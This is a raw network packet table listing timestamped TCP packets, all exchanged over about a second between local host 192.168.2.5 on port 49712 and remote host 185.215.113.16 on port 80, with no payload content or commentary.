Oct 30, 2024 00:20:15.789340973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.789365053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.789381981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.789391994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.789423943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.789911985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.789956093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.790011883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.790369034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.790384054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.790399075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.790466070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.791172981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791187048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791202068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791224003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.791241884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.791888952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791904926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791919947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.791941881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.792618036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.792645931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.792665005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.795348883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.795366049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.795397997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.840784073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.947377920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947448015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947464943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947480917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947495937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947514057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.947588921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948149920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948173046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948189974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948204041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948220015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948229074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948241949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948246956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948261023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948298931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948632956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948647976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948662996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948678017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948681116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948693037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948705912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948708057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948724031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.948736906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.948775053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.949517012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949615955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949630976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949655056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949656963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.949670076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949685097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949695110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.949703932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.949718952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.950354099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950368881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950382948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950391054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950398922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950407028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950412035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.950427055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.950429916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.950470924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.951216936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951231003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951246977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951261997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951272011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.951277018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951292038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951297998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.951308966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.951343060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.952013969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.952061892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.952085972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.952124119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.952173948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.954341888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.997042894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106111050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106173038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106189966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106206894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106224060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106232882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106240988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106256008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106276035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106296062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106390953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106405973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106420994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106437922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106440067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106451988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106455088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106475115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106491089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106501102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.106506109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.106530905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107115984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107131004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107145071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107161045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107171059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107186079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107186079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107237101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107558012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107579947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107595921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107616901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107623100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107634068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107647896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107659101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107662916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107678890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107683897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107693911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107709885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.107724905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.107748032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.108382940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108484983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108500004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108515024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108529091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.108537912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108547926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.108552933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108567953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108583927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108591080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.108598948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108614922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.108628035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.108658075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.109436989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109457970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109496117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109510899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109524012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.109524965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109543085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109551907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.109558105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109571934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109584093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.109587908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109603882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.109612942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.109646082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.110697031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110722065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110737085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110760927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.110794067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110807896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110822916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110845089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110858917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110863924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.110873938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110877037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.110888958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.110908985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.110924959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.111176968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111268044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111284018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111299992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111316919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.111323118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111337900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111342907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.111381054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.111397028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111412048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111427069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111442089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.111449957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.111480951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.112162113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112191916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112225056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112231970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.112240076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112253904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112268925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112273932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.112287045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112308025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112318039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.112323999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112339020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.112349033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.112380028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.113178968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113209009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113224030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113238096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113246918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.113254070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113270044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113287926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113291025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.113302946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113312960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.113320112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.113347054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.153269053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.264813900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.264898062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.264972925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265038013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265165091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265189886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265206099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265213966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265225887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265242100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265255928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265273094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265276909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265295982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265311003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265321016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265357971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265381098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265397072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265410900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265435934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265486956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265501022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265515089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265525103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265530109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265546083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265548944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265577078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265585899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265593052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265628099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265815020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265830040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265837908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265856028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265882969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265896082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265907049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265911102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265925884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265947104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265957117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265965939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265980959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.265990973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.265995979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266027927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266330957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266376019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266410112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266434908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266450882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266463995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266479969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266482115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266496897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266503096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266513109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266529083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266544104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266546011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266560078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.266568899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266597033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.266953945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267043114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267057896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267071962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267101049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.267116070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267118931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.267146111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267160892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267174959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267184973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.267200947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267225981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.267230034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.267278910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270636082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270651102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270674944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270690918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270693064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270708084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270723104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270739079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270739079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270754099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270761013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270776987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270787954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270792007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270807028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270824909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270833015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270840883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270864964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270879030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270880938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270898104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270905018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270915985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270930052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270946980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270962954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.270970106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.270987988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.271009922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.271023989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.271029949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.271043062 CET	80	49712	185.215.113.16	192.168.2.5
